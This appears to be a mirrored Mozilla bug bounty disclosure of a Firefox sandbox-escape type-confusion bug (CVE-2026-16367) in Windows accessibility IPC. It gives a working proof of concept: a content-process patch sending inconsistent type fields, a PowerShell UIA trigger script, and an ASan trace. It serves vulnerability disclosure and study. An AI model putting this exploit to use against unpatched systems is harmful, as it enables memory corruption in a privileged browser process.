Skip to content
Memory corruption Disclosed report Advanced CVE-2026-16367

OOBR/W sandbox escape via PDocAccessible::RecvMutationEvents with inconsistent mType and mGenericTypes

A content process can send a crafted accessibility event with inconsistent type fields, causing the parent process to create a wrapper object of one type but later treat it as another. This leads to an out-of-bounds read and potential write in the privileged parent process.

Oskar Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 48 days
  • Disclosed after 6 days

Background

Windows UIA (UI Automation) is a system accessibility API that clients connect to in order to query and interact with UI elements in other processes. Screen readers (Narrator, NVDA, JAWS), automation tools, and password managers, UIA is enabled by default (accessibility.uia.enable=2).

More background can be found in bug 2046416

Vulnerability

We can send a ShowEvent over PDocAccessible::RecvMutationEvents with an AccessibleData payload where mType and mGenericTypes are inconsistent.

DocAccessibleParent::ProcessShowEvent creates a RemoteAccessible directly from the IPC payload and calls MsaaAccessible::Create to wrap it:

C++
if (aAcc->IsRoot())  return new MsaaRootAccessible(aAcc);   // mType == eRootType
if (aAcc->IsDoc())   return new MsaaDocAccessible(aAcc);
if (aAcc->IsTable()) return new ia2AccessibleTable(aAcc);   // mGenericTypes & eTable

the check is priority-ordered — IsRoot() wins over IsTable().

when a UIA client queries the Grid pattern, uiaRawElmProvider::GetPatternProvider branches on IsTable() alone:

C++
case UIA_GridPatternId:
  if (acc->IsTable()) {
    auto grid = GetPatternFromDerived<ia2AccessibleTable, IGridProvider>();
    grid.forget(aPatternProvider);
  }

GetPatternFromDerived does an unchecked downcast — it assumes the concrete wrapper is ia2AccessibleTable:

C++
auto* msaa = static_cast<MsaaAccessible*>(this);
auto* derived = static_cast<Derived*>(msaa);

there is no validation that mType and mGenericTypes are mutually consistent, and the parent trusts both values directly from the child's ShowEvent payload.

hence if we send mType=eRootType together with eTable in mGenericTypes, the parent creates a MsaaRootAccessible but GetPatternProvider casts it to ia2AccessibleTable. ia2AccessibleTable has additional vtable slots before ia2AccessibleHypertext that MsaaRootAccessible doesn't — the adjusted pointer lands 16 bytes before the allocation, into ASan's red-zone → heap-buffer-overflow READ of size 8.

Asan report

==50776==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x12e449d4b0b0 at pc 0x7ffff30fcf9a
READ of size 8 at 0x12e449d4b0b0 thread T0
    #0 in mozilla::a11y::uiaRawElmProvider::GetPatternProvider uiaRawElmProvider.cpp:495

0x12e449d4b0b0 is located 16 bytes before 256-byte region [0x12e449d4b0c0,0x12e449d4b1c0)
allocated by thread T0 here:
    #2 in mozilla::a11y::MsaaAccessible::Create MsaaAccessible.cpp:57
    #3 in mozilla::a11y::ProxyCreated Platform.cpp:80
    #4 in mozilla::a11y::DocAccessibleParent::AttachChild DocAccessibleParent.cpp:335
    #5 in mozilla::a11y::DocAccessibleParent::ProcessShowEvent DocAccessibleParent.cpp:201
    #6 in mozilla::a11y::DocAccessibleParent::RecvMutationEvents DocAccessibleParent.cpp:673
    #7 in mozilla::a11y::PDocAccessibleParent::OnMessageReceived PDocAccessibleParent.cpp:1108

SUMMARY: AddressSanitizer: heap-buffer-overflow uiaRawElmProvider.cpp:495 in mozilla::a11y::uiaRawElmProvider::GetPatternProvider

A write will follow.

Implications

Firefox latest, Windows. Content process can trigger memory corruption in the parent (privileged) process across the content → parent IPC boundary.

This is not just an out-of-bounds read. The OOB read at uiaRawElmProvider.cpp:495 reads a vtable pointer from 16 bytes before the MsaaRootAccessible allocation. That pointer is used immediately: GetPatternFromDerived returns derived into a RefPtr<IGridProvider>, so this is a OOB write and an fcall later on.

Reproduction

  1. Apply the following patch:
diff --git a/accessible/ipc/DocAccessibleChild.cpp b/accessible/ipc/DocAccessibleChild.cpp
index a103ca71d589..04e8042c2de0 100644
--- a/accessible/ipc/DocAccessibleChild.cpp
+++ b/accessible/ipc/DocAccessibleChild.cpp
@@ -4,8 +4,10 @@
 
 #include "chrome/common/ipc_channel.h"
 #include "mozilla/a11y/DocAccessibleChild.h"
+#include "mozilla/a11y/AccTypes.h"
 #include "mozilla/a11y/CacheConstants.h"
 #include "mozilla/a11y/FocusManager.h"
+#include "mozilla/a11y/Role.h"
 #include "mozilla/AppShutdown.h"
 #include "mozilla/PerfStats.h"
 #include "mozilla/ProfilerMarkers.h"
@@ -15,6 +17,7 @@
 #ifdef A11Y_LOG
 #  include "Logging.h"
 #endif
+#include "AccAttributes.h"
 #include "TextLeafRange.h"
 
 namespace mozilla {
@@ -69,46 +72,28 @@ AccessibleData DocAccessibleChild::SerializeAcc(LocalAccessible* aAcc) {
 
 void DocAccessibleChild::InsertIntoIpcTree(LocalAccessible* aChild,
                                            bool aSuppressShowEvent) {
-  nsTArray<LocalAccessible*> shownTree;
-  FlattenTree(aChild, shownTree);
-  uint32_t totalAccs = shownTree.Length();
-  nsTArray<AccessibleData> data(std::min(
-      kMaxAccsPerMessage - mMutationEventBatcher.AccCount(), totalAccs));
-
-  for (uint32_t accIndex = 0; accIndex < totalAccs; ++accIndex) {
-    // This batch of mutation events has no more room left without exceeding our
-    // limit. Write the show event data to the queue.
-    if (data.Length() + mMutationEventBatcher.AccCount() ==
-        kMaxAccsPerMessage) {
-      if (AppShutdown::IsShutdownImpending()) {
-        return;
-      }
-      // Note: bool(...) used on aSuppressShowEvent to force selection of the
-      // ShowEventData constructor that takes all rvalue reference arguments.
-      const uint32_t accCount = data.Length();
-      PushMutationEventData(
-          ShowEventData{std::move(data), bool(aSuppressShowEvent), false,
-                        false},
-          accCount);
-
-      // Reset data to avoid relying on state of moved-from object.
-      // Preallocate an appropriate capacity to avoid resizing.
-      data = nsTArray<AccessibleData>(
-          std::min(kMaxAccsPerMessage, totalAccs - accIndex));
-    }
-    LocalAccessible* child = shownTree[accIndex];
-    data.AppendElement(SerializeAcc(child));
-  }
-  if (AppShutdown::IsShutdownImpending()) {
+  // Send exactly once: duplicate IDs cause IPC_FAIL before the UIA client queries.
+  static bool sSent = false;
+  if (sSent) {
     return;
   }
-  if (!data.IsEmpty()) {
-    const uint32_t accCount = data.Length();
-    PushMutationEventData(
-        ShowEventData{std::move(data), std::move(aSuppressShowEvent), true,
-                      false},
-        accCount);
-  }
+  sSent = true;
+
+  RefPtr<AccAttributes> attrs = new AccAttributes();
+
+  nsTArray<AccessibleData> tree(1);
+  tree.AppendElement(AccessibleData(
+      /* aID */ 0x100000000ULL,
+      /* aRole */ static_cast<a11y::role>(0),
+      /* aParentID */ 0,
+      /* aIndexInParent */ 0,
+      /* aType */ eRootType,                                   // IsRoot() → MsaaRootAccessible
+      /* aGenericTypes */ static_cast<AccGenericType>(eTable), // IsTable() → bad cast
+      /* aRoleMapEntryIndex */ 0,
+      attrs.get()));
+
+  PushMutationEventData(
+      ShowEventData{std::move(tree), false, true, false}, 1);
 }
  1. Build Firefox (ASan, Windows).
  2. Run Firefox and open any page — the content process sends the malicious ShowEvent once on first accessibility tree insertion.
  3. Trigger the Grid pattern query by running the following UIA client script:
PowerShell
$log = "uia_trigger.log"
"start $(Get-Date -Format HH:mm:ss)" | Out-File $log
try {
  Add-Type -AssemblyName UIAutomationClient
  Add-Type -AssemblyName UIAutomationTypes
  $AE = [System.Windows.Automation.AutomationElement]
  $TS = [System.Windows.Automation.TreeScope]
  $root = $AE::RootElement
  $ffPids = (Get-Process -Name firefox -ErrorAction SilentlyContinue).Id
  if (-not $ffPids) { "no firefox processes found" | Out-File $log -Append; exit 1 }
  $kids = $root.FindAll($TS::Children, [System.Windows.Automation.Condition]::TrueCondition)
  $ffWindows = @($kids | Where-Object { $ffPids -contains $_.Current.ProcessId })
  if (-not $ffWindows) { "no firefox UIA windows found" | Out-File $log -Append; exit 1 }
  "found $($ffWindows.Count) firefox window(s)" | Out-File $log -Append

  $gridPatternId = [System.Windows.Automation.GridPattern]::Pattern
  $walker = [System.Windows.Automation.TreeWalker]::RawViewWalker

  # FindAll(Descendants) skips the malicious element because MsaaRootAccessible implements
  # IRawElementProviderFragmentRoot (embedded fragment root). RawViewWalker follows
  # Navigate(FirstChild) at the provider layer and reaches it directly.
  function Walk-AndGrid($el, $depth) {
    if ($depth -gt 60) { return }
    try { $null = $el.GetCurrentPattern($gridPatternId) } catch {}
    try {
      $child = $walker.GetFirstChild($el)
      while ($child -ne $null) {
        Walk-AndGrid $child ($depth + 1)
        try { $child = $walker.GetNextSibling($child) } catch { break }
      }
    } catch {}
  }

  for ($pass = 1; $pass -le 3; $pass++) {
    foreach ($ff in $ffWindows) {
      $all = $ff.FindAll($TS::Descendants, [System.Windows.Automation.Condition]::TrueCondition)
      foreach ($el in $all) { try { $null = $el.GetCurrentPattern($gridPatternId) } catch {} }
      Walk-AndGrid $ff 0
    }
  }
  "uia done $(Get-Date -Format HH:mm:ss)" | Out-File $log -Append
} catch { "UIA FATAL: $_" | Out-File $log -Append }

Found via manual auditing.

The original report as published on Mozilla's Bugzilla, by Oskar. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The parent process trusts two type fields from the child's IPC message without checking they are consistent, and later performs an unchecked downcast based on one field while the object was created based on the other.

Impact

A content process can trigger memory corruption in the parent process, leading to an out-of-bounds read and potentially an out-of-bounds write and function call, which could allow sandbox escape.

What the attacker needed

Windows with UIA enabled; malicious content process code; UIA client queries Grid pattern

How it was found

  1. Apply a patch to the content process to send a single crafted ShowEvent with inconsistent type fields.
  2. Build Firefox with AddressSanitizer on Windows.
  3. Run Firefox and open any page to trigger the malicious event.
  4. Run a UIA client script that queries the Grid pattern on Firefox windows, causing the bad cast and out-of-bounds read.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Firefox separates web pages into less-privileged processes, but some accessibility features run in a more privileged process. A bug lets a web page send a message that confuses the privileged process about what kind of object it is handling, so it reads memory outside the object. This could crash Firefox or potentially let an attacker run code with higher privileges.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Oskar

View all

19 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.